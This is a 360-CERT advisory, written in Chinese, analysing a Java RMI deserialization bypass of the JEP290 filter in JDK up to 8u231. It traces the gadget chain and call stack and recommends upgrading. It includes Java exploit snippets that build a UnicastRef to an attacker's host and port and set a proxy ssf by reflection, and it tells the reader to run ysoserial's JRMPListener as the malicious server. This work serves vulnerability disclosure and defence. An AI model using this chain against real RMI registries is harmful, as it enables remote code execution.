360-CERT [三六零CERT]???? 前天

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_java

0x00 漏洞简述

随着​​RMI​​​的进一步发展,​​RMI​​上的反序列化攻击手段正逐渐增多,该类漏洞最近正受到愈加广泛的关注。

​RMI (Java Remote Method Invocation)​​​ 是​​Java​​​远程方法调用,是一种允许一个 ​​JVM​​​ 上的 ​​object​​​ 调用另一个 ​​JVM​​​ 上 ​​object​​​ 方法的机制,在​​Java RMI​​​ 的通信过程中存在反序列化漏洞,攻击者能够利用该漏洞造成代码执行,漏洞等级:​​高危​​。

在​​JDK8u231​​​之前的​​JDK​​​版本,能够让注册中心反序列化​​UnicastRef​​​这个类,该类可以发起一个​​JRMP​​​连接到恶意服务端上,从而在​​DGC​​​层造成一个反序列化,因为​​DGC​​​层的​​filter​​​是在反序列化之后进行设置的,没有起到实际作用,在​​JDK8u231​​​进行了修复,在​​DGC​​​层反序列化之前就为​​InputStream​​​设置了​​filter​​,来过滤传入的序列化数据,提高安全性。

国外安全研究人员​​@An Trinhs​​​发现了一个​​gadgets​​​利用链,能够直接反序列化​​UnicastRemoteObject​​造成反序列化漏洞。

该漏洞的相关技术细节已公开。

对此,360CERT建议广大用户及时将​​JDK​​升级到最新版本,下载地址为:Java SE Downloads 。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

​https://www.oracle.com/java/technologies/javase-downloads.html​

0x01 影响版本

  • JDK:<=8u231

0x02 漏洞详情

​JEP290​​​机制是用来过滤传入的序列化数据,以提高安全性,在反序列化的过程中,新增了一个​​filterCheck​​​方法,所以,任何反序列化操作都会经过这个​​filterCheck​​​方法,利用​​checkInput​​​方法来对序列化数据进行检测,如果有任何不合格的检测,​​Filter​​​将返回​​Status.REJECTED​​​。但是​​jep290​​​的​​filter​​​需要手动设置,通过​​setObjectInputFilter​​​来设置​​filter​​​,如果没有设置,还是不会有白名单的。 ​​jdk9​​​向下增加​​jep290​​​机制的​​jdk​​版本为。

Java™ SE Development Kit 8, Update 121 (JDK 8u121)
Java™ SE Development Kit 7, Update 131 (JDK 7u131)
Java™ SE Development Kit 6, Update 141 (JDK 6u141)

UnicastRemoteObject.readObject

当我们反序列化​​UnicastRemoteObject​​​这个类时,由于该类重写了​​readObject​​​方法,所以在反序列化的时候会调用到他的​​reexport​​方法。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_服务端_02

在​​​reexport​​​方法里,如果​​ssf​​​是被我们设置了值,那么进入​​else​​​判断

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_服务端_03

接着调用​​​exportObject​​​方法,该方法通常用来导出远程对象。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_反序列化_04

一直跟进,跟到​​​TCPTransport.exportObject​​​方法。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_反序列化_05

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_java_06

继续跟进​​​listen​​​方法,跟进​​TCPEndpoint.newServerSocket​​​方法。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_服务端_07

这里如果我们把​​​ssf​​​设置为通过​​RemoteObjectInvocationHandler​​​生成的代理类,那么就会调用到​​RemoteObjectInvocationHandler.invoke​​​方法。(这里涉及到动态代理的知识,如果调用通过​​InvocationHandler​​​的实现类生成的代理类,那么会转而调用实现类的​​invoke​​​方法,并且会向​​invoke​​​方法传入三个参数:代理类对象作为​​proxy​​​参数传入,调用的代理类方法作为​​method​​​参数传入,具体方法的参数作为​​args​​​参数传入),在​​invoke​​​方法中,检测声明方法的类,如果不为​​Object​​​,进入​​invokeRemoteMethod​​​方法。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_服务端_08

检测​​​Proxy​​​的需要实现​​Remote​​​接口,这里是我们能控制的,因为在创建代理类的时候就需要指定实现的接口,这里的​​ref​​​被赋值为​​UnicastRef​​​,并且存有恶意服务端(这里我们的注册中心一端转变成客户端,而恶意监听的一端相当于服务端)的​​tcp​​​信息,这里是我们在序列化数据的时候设置的。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_java_09

UnicastRef.invoke

然后,有几处代码比较关键。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_java_10

第一处:是和服务端建立连接。第二处:向服务端传递一些​​​byte​​​信息。第三处:获取​​OutputStream​​​,进行远程方法传参,这里涉及到调用​​marshalValue​​​序列化参数传递给服务端,不过这一处与本次绕过关系不大,所以用的细线标注。第四处:服务端反序列化参数之后,会向客户端传值,如果服务端反序列化成功,会发送​​byte​​​值​​1​​​给客户端,如果发生一些错误,就会发送​​byte​​​值​​2​​给客户端。

这里的​​byte​​​值​​1​​​和​​2​​​主要体现在客户端的​​executeCall​​​方法里,

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_反序列化_11

可以发现,如果客户端接受到服务端返回的​​​byte​​​值是​​2​​​,那么就有一个​​readObject​​​方法,而且我们看到​​getInputStream​​​之后,并没有给该​​Stream​​​设置​​jep290​​​的​​filter​​,那么这里就可以造成注册中心(客户端)的反序列化。

调用栈

readObject:431, ObjectInputStream (java.io)
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy0 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
...
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)

漏洞利用

  1. 需要一个向服务端发起​​JRMP​​​连接的​​UnicastRef​​​,这里​​ysoserial​​​有相关代码,并且在​​LocateRegistry.getRegistry​​里也有相应代码。
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(ip, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
  1. 创建​​RemoteObjectInvocationHandler​​​的代理类,​​ssf​​​是​​RMIServerSocketFactory​​类型。
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);

RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(), new Class[] {
RMIServerSocketFactory.class, Remote.class
}, remoteObjectInvocationHandler);
  1. 将​​ssf​​​的值设置成创建的代理类,但是由于是​​private​​类型,所以需要用反射来赋值。
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject clz = (UnicastRemoteObject) constructor.newInstance(null);
Field ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
ssf.setAccessible(true);
ssf.set(clz,rmiServerSocketFactory);

然后我们利用​​Server​​​端进行​​bind​​​,让注册中心反序列化这个​​UnicastRemoteObject​​​对象,不过序列化的时候出现了问题,在调用​​RegistryImpl_Stub.bind​​​的时候,进行​​writeObject​​​的时候。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_服务端_12

如果​​​enableReplace​​​为​​true​​​。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_反序列化_13

检测我们要序列化的​​​obj​​​,是否实现​​Remote/RemoteStub​​​,由于​​UnicastRemoteObject​​​实现了​​Remote​​​,没有实现​​RemoteStub​​​,于是会进入判断,就会替换我们的​​obj​​​,以至于反序列化的时候不能还原我们构造的类。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_服务端_14

所以,需要把​​​enableReplace​​​改为​​false​​​。这里可以自己实现重写​​RegistryImpl_Stub​​​,将​​bind​​​方法进行修改,在序列化之前,通过反射,把​​enableReplace​​​值进行修改。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_反序列化_15

  1. 恶意服务端只需要利用​​ysoserial.exploit.JRMPListener​​​开启,监听到来自客户端的请求之后,就会向客户端发送​​byte​​​值​​2​​,并序列化恶意类,最终让客户端反序列化恶意类。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_服务端_16

jdk8u241中的修复

在jdk8u241进行了修复,在调用​​UnicastRef.invoke​​​之前,做了一个检测。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_反序列化_17

声明方法的类,必须要实现​​​Remote​​​接口,然而这里的​​RMIServerSocketFactory​​​并没有实现,于是无法进入到invoke方法,直接抛出错误。

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析_java_18

0x03 时间线

2020-07-24 360-CERT 发布分析报告

0x04 参考链接

AN TRINHS RMI REGISTRY BYPASS

[https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/]